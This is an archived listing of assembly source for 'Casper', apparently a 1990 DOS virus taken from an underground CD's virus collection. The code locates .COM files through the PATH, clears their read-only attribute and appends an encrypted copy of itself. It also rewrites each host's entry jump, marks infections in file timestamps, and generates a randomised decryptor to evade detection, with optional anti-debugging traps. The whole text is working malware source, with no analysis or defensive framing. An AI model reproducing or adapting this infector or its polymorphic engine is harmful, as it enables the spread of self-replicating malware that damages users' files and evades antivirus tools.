home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / casper.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  24.2 KB  |  776 lines

  1. ;
  2.  
  3. ;
  4.  
  5. ; Copyright (C) Mark Washburn, 1990.  All Rights Reserved
  6.  
  7. ;
  8.  
  9. ;
  10.  
  11. ; Inquires are directed to :
  12.  
  13. ; Mark Washburn
  14.  
  15. ; 4656 Polk Street NE
  16.  
  17. ; Columbia Heights, MN 55421
  18.  
  19. ; USA
  20.  
  21. ;
  22.  
  23. ;
  24.  
  25. ;
  26.  
  27. ;
  28.  
  29. code        segment    public 'CODE'
  30.  
  31.         org    100h
  32.  
  33. ;
  34.  
  35.         assume    cs:code,ds:code,es:code
  36.  
  37. ;
  38.  
  39.  
  40.  
  41. ;stopdebug       equ 1 ; define this for disassembly trap code
  42.  
  43. int1vec         equ 4
  44.  
  45. int3vec         equ 12
  46.  
  47. ;
  48.  
  49. dta_ptr         equ -4
  50.  
  51. file_crea       equ -8
  52.  
  53. file_attr       equ -10
  54.  
  55. path_start_ptr  equ -12
  56.  
  57. file_start_ptr  equ -14
  58.  
  59. RAND_SEED       equ -16
  60.  
  61. ptr1            equ -18 ; pointer to start of loop code
  62.  
  63. ptr2            equ -20 ; save data_begin pointer
  64.  
  65. dat1            equ -22 ; the random code used
  66.  
  67. dat2            equ -24 ; the decode length plus random length offset, max_msk
  68.  
  69.                         ; to make the decode routine more difficult to detect
  70.  
  71. dat3            equ -26 ; the 'necessary crypt code' mask
  72.  
  73. ;
  74.  
  75. IFNDEF stopdebug
  76.  
  77. local_stack     equ 26
  78.  
  79. max_msk         equ 0ffh ; this determines the maximum variance of length
  80.  
  81. ELSE
  82.  
  83. nobugptr        equ -28
  84.  
  85. oldint3         equ -32
  86.  
  87. oldint1         equ -36
  88.  
  89. local_stack     equ 36
  90.  
  91. max_msk         equ 0ffh ; this determines the maximum variance of length
  92.  
  93. ENDIF
  94.  
  95. ;
  96.  
  97. ;
  98.  
  99. ;
  100.  
  101. doscall         macro   call_type
  102.  
  103.                 ifnb    <call_type>
  104.  
  105.                 mov     ah, call_type
  106.  
  107.                 endif
  108.  
  109.                 int     21h
  110.  
  111.                 endm
  112.  
  113. ;
  114.  
  115. setloc          macro   arg1,reg2
  116.  
  117.                 mov     [bp + arg1],reg2
  118.  
  119.                 endm
  120.  
  121. ;
  122.  
  123. getloc          macro   reg1,arg2
  124.  
  125.                 mov     reg1,[bp + arg2]
  126.  
  127.                 endm
  128.  
  129. ;
  130.  
  131. setdat          macro   arg1,reg2
  132.  
  133.                 mov     [si + offset arg1 - offset data_begin],reg2
  134.  
  135.                 endm
  136.  
  137. ;
  138.  
  139. getdat          macro   reg1,arg2
  140.  
  141.                 mov     reg1,[si + offset arg2 - offset data_begin]
  142.  
  143.                 endm
  144.  
  145. ;
  146.  
  147. regofs          macro   reg1,arg2
  148.  
  149.                 mov     reg1,si
  150.  
  151.                 add     reg1,offset (arg2 - data_begin)
  152.  
  153.                 endm
  154.  
  155. ;
  156.  
  157. NOBUG1          macro
  158.  
  159. IFDEF stopdebug
  160.  
  161.                 INT 3
  162.  
  163.                 NOP
  164.  
  165. ENDIF
  166.  
  167.                 endm
  168.  
  169. ;
  170.  
  171. nobug2          macro
  172.  
  173. IFDEF stopdebug
  174.  
  175.                 INT 3
  176.  
  177. ENDIF
  178.  
  179.                 endm
  180.  
  181. ;
  182.  
  183. ;
  184.  
  185. start:
  186.  
  187.                 jmp    entry
  188.  
  189. ;
  190.  
  191. ;
  192.  
  193. ;
  194.  
  195.                 MOV     AH,0
  196.  
  197.                 INT     021h ; program code
  198.  
  199. ;                db      600h-6 dup (0)
  200.  
  201. ; insert utility code here
  202.  
  203. ;
  204.  
  205. entry:
  206.  
  207.  
  208.  
  209.  
  210.  
  211. IFDEF stopdebug
  212.  
  213.                 call precrypt
  214.  
  215.                 db      36 dup (090h) ; calculated length of offset(t41-t10)
  216.  
  217. ELSE
  218.  
  219.                 db      39 dup (090h) ; calculated length of offset(t41-t10)
  220.  
  221. ENDIF
  222.  
  223. ;
  224.  
  225. ; label the start of encoded section
  226.  
  227. entry2:
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241. INCLUDE utility.asm            <------- Manipulation Task Goes Here!
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.         mov     bp,sp   ; allocate locals
  258.  
  259.                 sub     sp,local_stack
  260.  
  261. ;
  262.  
  263.                 push    cx
  264.  
  265. movcmd:         ; this label is used to locate the next instruction
  266.  
  267.                 mov     dx,offset data_begin
  268.  
  269.                 setloc  ptr2,dx ; save - will be modified in 'gencode'
  270.  
  271. IFDEF stopdebug
  272.  
  273. ;
  274.  
  275. ; save interrupt 1 and 3 vectors
  276.  
  277. ;
  278.  
  279.                 push    ds
  280.  
  281.                 mov     ax,0
  282.  
  283.                 push    ax
  284.  
  285.                 pop     ds
  286.  
  287.                 cli
  288.  
  289.                 mov     ax,ds:[int1vec]
  290.  
  291.                 setloc  oldint1,ax
  292.  
  293.                 mov     ax,ds:[int1vec+2]
  294.  
  295.                 setloc  oldint1+2,ax
  296.  
  297.                 mov     ax,ds:[int3vec]
  298.  
  299.                 setloc  oldint3,ax
  300.  
  301.                 mov     ax,ds:[int3vec+2]
  302.  
  303.                 setloc  oldint3+2,ax
  304.  
  305.                 sti
  306.  
  307.                 pop     ds
  308.  
  309. ;
  310.  
  311.                 call    bugon
  312.  
  313. ENDIF
  314.  
  315.                 mov     si,dx
  316.  
  317.                 add     si,(offset old_code - offset data_begin)
  318.  
  319.                 mov     di,0100h
  320.  
  321.                 mov     cx,03h
  322.  
  323.                 cld
  324.  
  325.                 repz movsb
  326.  
  327.                 mov     si,dx
  328.  
  329.                 doscall 30h ; check DOS version
  330.  
  331.                 cmp     al,0
  332.  
  333.                 NOBUG1 ; 0
  334.  
  335.                 jnz     cont1 ; DOS > 2.0
  336.  
  337.                 jmp     exit
  338.  
  339. cont1:
  340.  
  341.                 push    es
  342.  
  343.                 doscall 2fh ; get program DTA
  344.  
  345.                 NOBUG1 ; 0
  346.  
  347.                 setloc  dta_ptr,bx
  348.  
  349.                 NOBUG1 ; 0
  350.  
  351.                 setloc  dta_ptr+2,es
  352.  
  353.                 pop     es
  354.  
  355.                 regofs  dx,my_dta
  356.  
  357.                 doscall 1ah ; set new DTA
  358.  
  359.                 push    es
  360.  
  361.                 push    si
  362.  
  363.                 mov     es,ds:[02ch] ; environment address
  364.  
  365.                 mov     di,0
  366.  
  367. loop1:
  368.  
  369.                 pop     si
  370.  
  371.                 push    si
  372.  
  373.                 add     si,(offset path_chars - offset data_begin)
  374.  
  375.                 lodsb
  376.  
  377.                 mov     cx,8000h
  378.  
  379.                 repnz scasb
  380.  
  381.                 mov     cx,4
  382.  
  383. loop2:
  384.  
  385.                 lodsb
  386.  
  387.                 scasb
  388.  
  389.                 jnz     loop1
  390.  
  391.                 loop    loop2
  392.  
  393.                 pop     si
  394.  
  395.                 pop     es
  396.  
  397.                 setloc  path_start_ptr,di
  398.  
  399.                 mov     bx,si
  400.  
  401.                 add     si,offset (file_name-data_begin)
  402.  
  403.                 mov     di,si
  404.  
  405.                 jmp     cont6
  406.  
  407.                 nobug2
  408.  
  409. next_path:
  410.  
  411.                 cmp     word ptr [bp + path_start_ptr],0
  412.  
  413.                 jnz     cont3
  414.  
  415.                 jmp     exit2
  416.  
  417.                 nobug2
  418.  
  419. cont3:
  420.  
  421.                 push    ds
  422.  
  423.                 push    si
  424.  
  425.                 mov     ds,es:[002ch]
  426.  
  427.  
  428.  
  429.                 mov     di,si
  430.  
  431.                 mov     si,es:[bp+path_start_ptr]
  432.  
  433.                 add     di,offset (file_name-data_begin)
  434.  
  435. loop3:
  436.  
  437.                 lodsb
  438.  
  439.                 cmp     al,';' ; 3bh
  440.  
  441.                 jz      cont4
  442.  
  443.                 cmp     al,0
  444.  
  445.                 jz      cont5
  446.  
  447.                 stosb
  448.  
  449.                 jmp     loop3
  450.  
  451.                 nobug2
  452.  
  453. cont5:
  454.  
  455.                 mov     si,0
  456.  
  457. cont4:
  458.  
  459.                 pop     bx
  460.  
  461.                 pop     ds
  462.  
  463.                 mov     [bp+path_start_ptr],si
  464.  
  465.                 cmp     ch,0ffh
  466.  
  467.                 jz      cont6
  468.  
  469.                 mov     al,'\' ; 5ch
  470.  
  471.                 stosb
  472.  
  473. cont6:
  474.  
  475.                 mov     [bp+file_start_ptr],di
  476.  
  477.                 mov     si,bx
  478.  
  479.                 add     si,(offset com_search-offset data_begin)
  480.  
  481.                 mov     cx,6
  482.  
  483.                 repz movsb
  484.  
  485.                 mov     si,bx
  486.  
  487.                 mov     ah,04eh
  488.  
  489.                 regofs  dx,file_name
  490.  
  491.                 mov     cx,3
  492.  
  493.                 doscall
  494.  
  495.                 jmp     cont7
  496.  
  497.                 nobug2
  498.  
  499. next_file:
  500.  
  501.                 doscall 04fh
  502.  
  503. cont7:
  504.  
  505.                 jnb     cont8
  506.  
  507.                 jmp     next_path
  508.  
  509.                 nobug2
  510.  
  511. cont8:
  512.  
  513.                 mov     ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
  514.  
  515.                 and     al,01fh
  516.  
  517.                 cmp     al,01fh
  518.  
  519.                 jz      next_file
  520.  
  521. IFNDEF stopdebug
  522.  
  523.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
  524.  
  525.                         ; file length compared; need 1.5 k spare, see rnd off
  526.  
  527. ELSE
  528.  
  529.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
  530.  
  531. ENDIF
  532.  
  533.                 jz      next_file                 ;    with virus length
  534.  
  535.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0ah
  536.  
  537.                         ; file to short
  538.  
  539.                 jz      next_file
  540.  
  541.                 mov     di,[bp+file_start_ptr]
  542.  
  543.                 push    si
  544.  
  545.                 add     si,offset(my_dta-data_begin+01eh)
  546.  
  547. move_name:
  548.  
  549.                 lodsb
  550.  
  551.                 stosb
  552.  
  553.                 cmp     al,0
  554.  
  555.                 jnz     move_name
  556.  
  557.                 pop     si
  558.  
  559.                 mov     ax,04300h
  560.  
  561.                 regofs  dx,file_name
  562.  
  563.                 doscall
  564.  
  565.                 setloc  file_attr,cx
  566.  
  567.                 mov     ax,04301h
  568.  
  569.                 and     cx,0fffeh
  570.  
  571.                 regofs  dx,file_name
  572.  
  573.                 doscall
  574.  
  575.                 mov     ax,03d02h
  576.  
  577.                 regofs  dx,file_name
  578.  
  579.                 doscall
  580.  
  581.                 jnb     cont9
  582.  
  583.                 jmp     exit3
  584.  
  585.                 nobug2
  586.  
  587. cont9:
  588.  
  589.                 mov     bx,ax
  590.  
  591.                 mov     ax,05700h
  592.  
  593.                 doscall
  594.  
  595.                 setloc  file_crea,cx
  596.  
  597.                 setloc  file_crea+2,dx
  598.  
  599. cont10:
  600.  
  601.                 mov     ah,3fh
  602.  
  603.                 mov     cx,3
  604.  
  605.                 regofs  dx,old_code
  606.  
  607.                 doscall
  608.  
  609.                 NOBUG1 ; 1
  610.  
  611.                 jb      cont98
  612.  
  613.                 NOBUG1
  614.  
  615.                 cmp     ax,3
  616.  
  617.                 NOBUG1
  618.  
  619.                 jnz     cont98
  620.  
  621.                 NOBUG1
  622.  
  623.                 mov     ax,04202h
  624.  
  625.                 NOBUG1 ;1
  626.  
  627.                 mov     cx,0
  628.  
  629.                 mov     dx,0
  630.  
  631.                 doscall
  632.  
  633.                 jnb     cont99
  634.  
  635. cont98:
  636.  
  637.                 jmp     exit4
  638.  
  639. cont99:
  640.  
  641.                 NOBUG1 ; 2
  642.  
  643.                 push    bx ; save file handle
  644.  
  645.                 NOBUG1
  646.  
  647.                 mov     cx,ax
  648.  
  649.                 push    cx
  650.  
  651.                 NOBUG1
  652.  
  653.                 sub     ax,3
  654.  
  655.                 NOBUG1
  656.  
  657.                 setdat  jump_code+1,ax
  658.  
  659.                 add     cx,(offset data_begin-offset entry+0100h)
  660.  
  661.                 NOBUG1
  662.  
  663.                 mov     di,si
  664.  
  665.                 NOBUG1
  666.  
  667.                 sub     di,offset data_begin-offset movcmd-1
  668.  
  669.                 NOBUG1
  670.  
  671.                 mov     [di],cx
  672.  
  673. ;
  674.  
  675.                 doscall 02ch  ; seed the random number generator
  676.  
  677.                 xor     dx,cx
  678.  
  679.                 NOBUG1
  680.  
  681.                 setloc  rand_seed,dx
  682.  
  683.                 NOBUG1 ; 2
  684.  
  685.                 call    random
  686.  
  687.                 NOBUG1 ; 3
  688.  
  689.                 getloc  ax,rand_seed
  690.  
  691.                 NOBUG1 ; 3
  692.  
  693.                 and     ax,max_msk ; add a random offset to actual length
  694.  
  695.                 NOBUG1 ; 3
  696.  
  697.                 add     ax,offset (data_end-entry2) ; set decode length
  698.  
  699.                 NOBUG1 ; 3
  700.  
  701.                 setloc  dat2,ax ; save the decode length
  702.  
  703.                 NOBUG1 ; 3
  704.  
  705.                 setdat  (t13+1),ax ; set decode length in 'mov cx,xxxx'
  706.  
  707.                 pop     cx ; restore the code length of file to be infected
  708.  
  709.                 NOBUG1 ; 3
  710.  
  711.                 add     cx,offset (entry2-entry+0100h) ; add the length
  712.  
  713.                               ; of uncoded area plus file offset
  714.  
  715.                 setdat  (t11+1),cx ;  set decode begin in 'mov di,xxxx'
  716.  
  717.                 NOBUG1  ; 3
  718.  
  719.                 call    random
  720.  
  721.                 getloc  ax,rand_seed
  722.  
  723.                 NOBUG1  ; 3
  724.  
  725.                 setloc  dat1,ax ; save this random key in dat1
  726.  
  727.                 setdat  (t12+1),ax ; set random key in 'mov ax,xxxx'
  728.  
  729.                 NOBUG1  ; 3
  730.  
  731.                 mov     di,si
  732.  
  733.                 NOBUG1  ; 3
  734.  
  735.                 sub     di,offset (data_begin-entry)
  736.  
  737.                 NOBUG1  ; 3
  738.  
  739.                 mov     bx,si
  740.  
  741.                 add     bx,offset (l11-data_begin) ; table L11 address
  742.  
  743.                 mov     word ptr [bp+dat3],000000111b ; required routines
  744.  
  745.                 call    gen2 ; generate first part of decrypt
  746.  
  747.                 setloc  ptr1,di  ; save the current counter to resolve 'loop'
  748.  
  749.                 add     bx,offset (l21-l11) ; add then next tables' offset
  750.  
  751.                 NOBUG1  ; 3
  752.  
  753.                 mov     word ptr [bp+dat3],010000011b ; required plus 'nop'
  754.  
  755.                 NOBUG1  ; 3
  756.  
  757.                 call    gen2 ; generate second part of decrypt
  758.  
  759.                 add     bx,offset (l31-l21) ; add the next offset
  760.  
  761.                 NOBUG1
  762.  
  763.                 call    gen2 ; generate third part of decrypt
  764.  
  765.                 mov     cx,2 ; store the loop code
  766.  
  767.                 getloc  si,ptr2
  768.  
  769.                 NOBUG1 ; 3
  770.  
  771.                 add     si,offset (t40-t10) ; point to the code
  772.  
  773.                 repz    movsb ; move the code
  774.  
  775.                 getloc  ax,ptr1 ; the loop address pointer
  776.  
  777.                 sub     ax,di ; the current address
  778.  
  779.                 dec     di ; point to the jump address
  780.  
  781.                 stosb   ; resolve the jump
  782.  
  783. ; fill in the remaining code
  784.  
  785. l991:
  786.  
  787.                 getloc  cx,ptr2 ; get the data_begin pointer
  788.  
  789.                 sub     cx,offset (data_begin-entry2) ; locate last+1 entry
  790.  
  791.                 cmp     cx,di ; are we there yet?
  792.  
  793.                 je      l992 ; if not then fill some more space
  794.  
  795.                 mov     dx,0h ; any code is ok
  796.  
  797.                 call    gencode ; generate the code
  798.  
  799.                 jmp     l991
  800.  
  801.                 nobug2
  802.  
  803. l992:
  804.  
  805.                 getloc  si,ptr2 ; restore si to point to data area ;
  806.  
  807.                 push    si
  808.  
  809.                 mov     di,si
  810.  
  811.                 NOBUG1  ; 4
  812.  
  813.                 mov     cx,offset(end1-begin1) ;   move code
  814.  
  815.                 add     si,offset(begin1-data_begin)
  816.  
  817.                 NOBUG1 ; 4
  818.  
  819.                 add     di,offset(data_end-data_begin+max_msk) ; add max_msk
  820.  
  821.                 mov     dx,di ; set subroutine start
  822.  
  823.                 repz    movsb  ; move the code
  824.  
  825.                 pop     si
  826.  
  827.                 pop     bx ; restore handle
  828.  
  829.                 call    setrtn ; find this address
  830.  
  831.                 add     ax,06h ; <- the number necessary for proper return
  832.  
  833.                 push    ax
  834.  
  835.                 jmp     dx ; continue with mask & write code
  836.  
  837. ; continue here after return from mask & write code
  838.  
  839.                 NOBUG1 ; 4
  840.  
  841.                 jb      exit4
  842.  
  843.                 cmp     ax,offset(data_end-entry)
  844.  
  845.                 NOBUG1 ; 4
  846.  
  847.                 jnz     exit4
  848.  
  849.                 mov     ax,04200h
  850.  
  851.                 mov     cx,0
  852.  
  853.                 mov     dx,0
  854.  
  855.                 doscall
  856.  
  857.                 jb      exit4
  858.  
  859.                 mov     ah,040h
  860.  
  861.                 mov     cx,3
  862.  
  863.                 NOBUG1 ; 4
  864.  
  865.                 regofs  dx,jump_code
  866.  
  867.                 doscall
  868.  
  869. exit4:
  870.  
  871.                 getloc  dx,file_crea+2
  872.  
  873.                 getloc  cx,file_crea
  874.  
  875.                 and     cx,0ffe0h
  876.  
  877.                 or      cx,0001fh
  878.  
  879.                 mov     ax,05701h
  880.  
  881.                 doscall
  882.  
  883.                 doscall 03Eh ; close file
  884.  
  885. exit3:
  886.  
  887.                 mov     ax,04301h
  888.  
  889.                 getloc  cx,file_attr
  890.  
  891.                 regofs  dx,file_name
  892.  
  893.                 doscall
  894.  
  895. exit2:
  896.  
  897.                 push    ds
  898.  
  899.                 getloc  dx,dta_ptr
  900.  
  901.                 getloc  ds,dta_ptr+2
  902.  
  903.                 doscall 01ah
  904.  
  905.                 pop     ds
  906.  
  907. exit:
  908.  
  909.                 pop     cx
  910.  
  911.                 xor     ax,ax
  912.  
  913.                 xor     bx,bx
  914.  
  915.                 xor     dx,dx
  916.  
  917.                 xor     si,si
  918.  
  919.                 mov     sp,bp ; deallocate locals
  920.  
  921.                 mov     di,0100h
  922.  
  923.                 push    di
  924.  
  925. IFDEF stopdebug
  926.  
  927.         call    bugoff
  928.  
  929. ENDIF
  930.  
  931.         ret
  932.  
  933. ;
  934.  
  935. ; common subroutines
  936.  
  937. ;
  938.  
  939. ;
  940.  
  941. random            proc    near
  942.  
  943. ;
  944.  
  945.             getloc    cx,rand_seed    ; get the seed
  946.  
  947.                 xor     cx,813Ch        ; xor random pattern
  948.  
  949.             add    cx,9248h    ; add random pattern
  950.  
  951.             ror    cx,1        ; rotate
  952.  
  953.             ror    cx,1        ; three
  954.  
  955.             ror    cx,1        ; times.
  956.  
  957.             setloc    rand_seed,cx    ; put it back
  958.  
  959.                 and     cx,7            ; ONLY NEED LOWER 3 BITS
  960.  
  961.                 push    cx
  962.  
  963.                 inc     cx
  964.  
  965.                 xor     ax,ax
  966.  
  967.                 stc
  968.  
  969.                 rcl     ax,cl
  970.  
  971.                 pop     cx
  972.  
  973.             ret            ; return
  974.  
  975. ;
  976.  
  977. random            endp
  978.  
  979. ;
  980.  
  981. setrtn          proc    near
  982.  
  983. ;
  984.  
  985.                 pop     ax       ; ret near
  986.  
  987.                 push    ax
  988.  
  989.                 ret
  990.  
  991. ;
  992.  
  993. setrtn          endp
  994.  
  995. ;
  996.  
  997. gencode         proc    near
  998.  
  999. ;
  1000.  
  1001. l999:
  1002.  
  1003.                 call    random
  1004.  
  1005.                 test    dx,ax  ; has this code been used yet?
  1006.  
  1007.                 jnz     l999   ; if this code was generated - try again
  1008.  
  1009.                 or      dx,ax ; set the code as used in dx
  1010.  
  1011.                 mov     ax,cx ; the look-up index
  1012.  
  1013.                 sal     ax,1
  1014.  
  1015.                 push    ax
  1016.  
  1017.                 xlat
  1018.  
  1019.                 mov     cx,ax ; the count of instructions
  1020.  
  1021.                 pop     ax
  1022.  
  1023.                 inc     ax
  1024.  
  1025.                 xlat
  1026.  
  1027.                 add     ax,[bp+ptr2] ; ax = address of code to be moved
  1028.  
  1029.                 mov     si,ax
  1030.  
  1031.                 repz    movsb   ; move the code into place
  1032.  
  1033.                 ret
  1034.  
  1035. ;
  1036.  
  1037. gencode         endp
  1038.  
  1039. ;
  1040.  
  1041. gen2            proc    near
  1042.  
  1043. ;
  1044.  
  1045.                 mov     dx,0h ; used code
  1046.  
  1047. l990:
  1048.  
  1049.                 call    gencode
  1050.  
  1051.                 mov     ax,dx ; do we need more code
  1052.  
  1053.                 and     ax,[bp+dat3] ; the mask for the required code
  1054.  
  1055.                 cmp     ax,[bp+dat3]
  1056.  
  1057.                 jne     l990 ; if still need required code - loop again
  1058.  
  1059.                 ret
  1060.  
  1061. ;
  1062.  
  1063. gen2            endp
  1064.  
  1065. ;
  1066.  
  1067. IFDEF stopdebug
  1068.  
  1069. doint3:
  1070.  
  1071.                 push    bx
  1072.  
  1073.                 mov     bx,sp
  1074.  
  1075.                 push    ax
  1076.  
  1077.                 push    si
  1078.  
  1079.                 mov     si,word ptr [bx+02]
  1080.  
  1081.                 inc     word ptr [bx+02] ; point to next address
  1082.  
  1083.                 setloc  nobugptr,si
  1084.  
  1085.                 lodsb   ; get the byte following int 3
  1086.  
  1087.                 xor     byte ptr [si],al
  1088.  
  1089.                 mov     al,[bx+7] ; set the trap flag
  1090.  
  1091.                 or      al,1
  1092.  
  1093.                 mov     [bx+7],al
  1094.  
  1095.                 pop     si
  1096.  
  1097.                 pop     ax
  1098.  
  1099.                 pop     bx
  1100.  
  1101.                 iret
  1102.  
  1103. ;
  1104.  
  1105. doint1:
  1106.  
  1107.                 push    bx
  1108.  
  1109.                 mov     bx,sp
  1110.  
  1111.                 push    ax
  1112.  
  1113.                 push    si
  1114.  
  1115.                 getloc  si,nobugptr
  1116.  
  1117.                 lodsb
  1118.  
  1119.                 xor     byte ptr [si],al
  1120.  
  1121.                 mov     al,[bx+7] ; clear the trap flag
  1122.  
  1123.                 and     al,0feh
  1124.  
  1125.                 mov     [bx+7],al
  1126.  
  1127.                 pop     si
  1128.  
  1129.                 pop     ax
  1130.  
  1131.                 pop     bx
  1132.  
  1133. bugiret:
  1134.  
  1135.                 iret
  1136.  
  1137. ;
  1138.  
  1139. bugon:
  1140.  
  1141.                 pushf
  1142.  
  1143.                 push    ds
  1144.  
  1145.                 push    ax
  1146.  
  1147.                 mov     ax,0
  1148.  
  1149.                 push    ax
  1150.  
  1151.                 pop     ds
  1152.  
  1153.                 getloc  ax,ptr2
  1154.  
  1155.                 sub     ax,offset(data_begin-doint3)
  1156.  
  1157.                 cli
  1158.  
  1159.                 mov     ds:[int3vec],ax
  1160.  
  1161.                 getloc  ax,ptr2
  1162.  
  1163.                 sub     ax,offset(data_begin-doint1)
  1164.  
  1165.                 mov     ds:[int1vec],ax
  1166.  
  1167.                 push    cs
  1168.  
  1169.                 pop     ax
  1170.  
  1171.                 mov     ds:[int1vec+2],ax
  1172.  
  1173.                 mov     ds:[int3vec+2],ax
  1174.  
  1175.                 sti
  1176.  
  1177.                 pop     ax
  1178.  
  1179.                 pop     ds
  1180.  
  1181.                 popf
  1182.  
  1183.                 ret
  1184.  
  1185. ;
  1186.  
  1187. bugoff:
  1188.  
  1189.                 pushf
  1190.  
  1191.                 push    ds
  1192.  
  1193.                 push    ax
  1194.  
  1195.                 mov     ax,0
  1196.  
  1197.                 push    ax
  1198.  
  1199.                 pop     ds
  1200.  
  1201.  
  1202.  
  1203.                 getloc  ax,oldint3
  1204.  
  1205.                 cli
  1206.  
  1207.                 mov     ds:[int3vec],ax
  1208.  
  1209.                 getloc  ax,oldint1
  1210.  
  1211.                 mov     ds:[int1vec],ax
  1212.  
  1213.                 getloc  ax,oldint1+2
  1214.  
  1215.                 mov     ds:[int1vec+2],ax
  1216.  
  1217.                 getloc  ax,oldint3+2
  1218.  
  1219.                 mov     ds:[int3vec+2],ax
  1220.  
  1221.                 sti
  1222.  
  1223.  
  1224.  
  1225.                 pop     ax
  1226.  
  1227.                 pop     ds
  1228.  
  1229.                 popf
  1230.  
  1231.                 ret
  1232.  
  1233. ;
  1234.  
  1235. ENDIF
  1236.  
  1237. ;
  1238.  
  1239. ;
  1240.  
  1241. ; the data area
  1242.  
  1243. ;
  1244.  
  1245. data_begin       label near
  1246.  
  1247. ;
  1248.  
  1249. T10              LABEL NEAR
  1250.  
  1251. T11:             MOV DI,0FFFFH
  1252.  
  1253. T12:             MOV AX,0FFFFH
  1254.  
  1255. T13:             MOV CX,0FFFFH
  1256.  
  1257. T14:             CLC
  1258.  
  1259. T15:             CLD
  1260.  
  1261. T16:             INC SI
  1262.  
  1263. T17:             DEC BX
  1264.  
  1265. T18:             NOP
  1266.  
  1267. T19              LABEL NEAR
  1268.  
  1269. ;
  1270.  
  1271. T20              LABEL NEAR
  1272.  
  1273. T21:             XOR [DI],AX
  1274.  
  1275. T22:             XOR [DI],CX
  1276.  
  1277. T23:             XOR DX,CX
  1278.  
  1279. T24:             XOR BX,CX
  1280.  
  1281. T25:             SUB BX,AX
  1282.  
  1283. T26:             SUB BX,CX
  1284.  
  1285. T27:             SUB BX,DX
  1286.  
  1287. T28:             NOP
  1288.  
  1289. T29              LABEL NEAR
  1290.  
  1291. ;
  1292.  
  1293. T30              LABEL NEAR
  1294.  
  1295. T31:             INC AX
  1296.  
  1297. T32:             INC DI
  1298.  
  1299. T33:             INC BX
  1300.  
  1301. T34:             INC SI
  1302.  
  1303. T35:             INC DX
  1304.  
  1305. T36:             CLC
  1306.  
  1307. T37:             DEC BX
  1308.  
  1309. T38:             NOP
  1310.  
  1311. T39              LABEL NEAR
  1312.  
  1313. ;
  1314.  
  1315. T40:             LOOP T20
  1316.  
  1317. T41              LABEL NEAR
  1318.  
  1319. ;
  1320.  
  1321. L11:             DB OFFSET (T12-T11),OFFSET (T11-data_begin)
  1322.  
  1323. L12:             DB OFFSET (T13-T12),OFFSET (T12-data_begin)
  1324.  
  1325. L13:             DB OFFSET (T14-T13),OFFSET (T13-data_begin)
  1326.  
  1327. L14:             DB OFFSET (T15-T14),OFFSET (T14-data_begin)
  1328.  
  1329. L15:             DB OFFSET (T16-T15),OFFSET (T15-data_begin)
  1330.  
  1331. L16:             DB OFFSET (T17-T16),OFFSET (T16-data_begin)
  1332.  
  1333. L17:             DB OFFSET (T18-T17),OFFSET (T17-data_begin)
  1334.  
  1335. L18:             DB OFFSET (T19-T18),OFFSET (T18-data_begin)
  1336.  
  1337. ;
  1338.  
  1339. L21:             DB OFFSET (T22-T21),OFFSET (T21-data_begin)
  1340.  
  1341. L22:             DB OFFSET (T23-T22),OFFSET (T22-data_begin)
  1342.  
  1343. L23:             DB OFFSET (T24-T23),OFFSET (T23-data_begin)
  1344.  
  1345. L24:             DB OFFSET (T25-T24),OFFSET (T24-data_begin)
  1346.  
  1347. L25:             DB OFFSET (T26-T25),OFFSET (T25-data_begin)
  1348.  
  1349. L26:             DB OFFSET (T27-T26),OFFSET (T26-data_begin)
  1350.  
  1351. L27:             DB OFFSET (T28-T27),OFFSET (T27-data_begin)
  1352.  
  1353. L28:             DB OFFSET (T29-T28),OFFSET (T28-data_begin)
  1354.  
  1355. ;
  1356.  
  1357. L31:             DB OFFSET (T32-T31),OFFSET (T31-data_begin)
  1358.  
  1359. L32:             DB OFFSET (T33-T32),OFFSET (T32-data_begin)
  1360.  
  1361. L33:             DB OFFSET (T34-T33),OFFSET (T33-data_begin)
  1362.  
  1363. L34:             DB OFFSET (T35-T34),OFFSET (T34-data_begin)
  1364.  
  1365. L35:             DB OFFSET (T36-T35),OFFSET (T35-data_begin)
  1366.  
  1367. L36:             DB OFFSET (T37-T36),OFFSET (T36-data_begin)
  1368.  
  1369. L37:             DB OFFSET (T38-T37),OFFSET (T37-data_begin)
  1370.  
  1371. L38:             DB OFFSET (T39-T38),OFFSET (T38-data_begin)
  1372.  
  1373. ;
  1374.  
  1375. ;
  1376.  
  1377. ;
  1378.  
  1379. ; this routine is relocated after the end of data area
  1380.  
  1381. ; this routine encrypts, writes, and decrypts the virus code
  1382.  
  1383. ;
  1384.  
  1385. begin1:
  1386.  
  1387.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  1388.  
  1389.                 getloc  ax,dat1 ; get decode ket
  1390.  
  1391.                 mov     di,si ; and set the begin encrypt address
  1392.  
  1393.                 sub     di,offset (data_begin-entry2)
  1394.  
  1395.                 call    crypt
  1396.  
  1397.                 mov     ah,040h
  1398.  
  1399.                 mov     cx,offset data_end-offset entry
  1400.  
  1401.                 mov     dx,si
  1402.  
  1403.                 sub     dx,offset data_begin-offset entry
  1404.  
  1405.                 doscall
  1406.  
  1407.                 pushf ; save the status of the write
  1408.  
  1409.                 push    ax
  1410.  
  1411.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  1412.  
  1413.                 getloc  ax,dat1
  1414.  
  1415.                 mov     di,si
  1416.  
  1417.                 sub     di,offset (data_begin-entry2)
  1418.  
  1419.                 call    crypt
  1420.  
  1421.                 pop     ax      ; restore the DOS write's status
  1422.  
  1423.                 popf
  1424.  
  1425.                 ret
  1426.  
  1427. ;
  1428.  
  1429. crypt:
  1430.  
  1431.                 xor     [di],ax
  1432.  
  1433.                 xor     [di],cx
  1434.  
  1435.                 inc     ax
  1436.  
  1437.                 inc     di
  1438.  
  1439.                 loop    crypt
  1440.  
  1441.                 ret
  1442.  
  1443. end1:
  1444.  
  1445. ;
  1446.  
  1447. ; global work space and constants
  1448.  
  1449. ;
  1450.  
  1451. old_code:       db 090h,090h,090h
  1452.  
  1453. jump_code:      db 0e9h,0,0
  1454.  
  1455. com_search:     db '*.COM',0
  1456.  
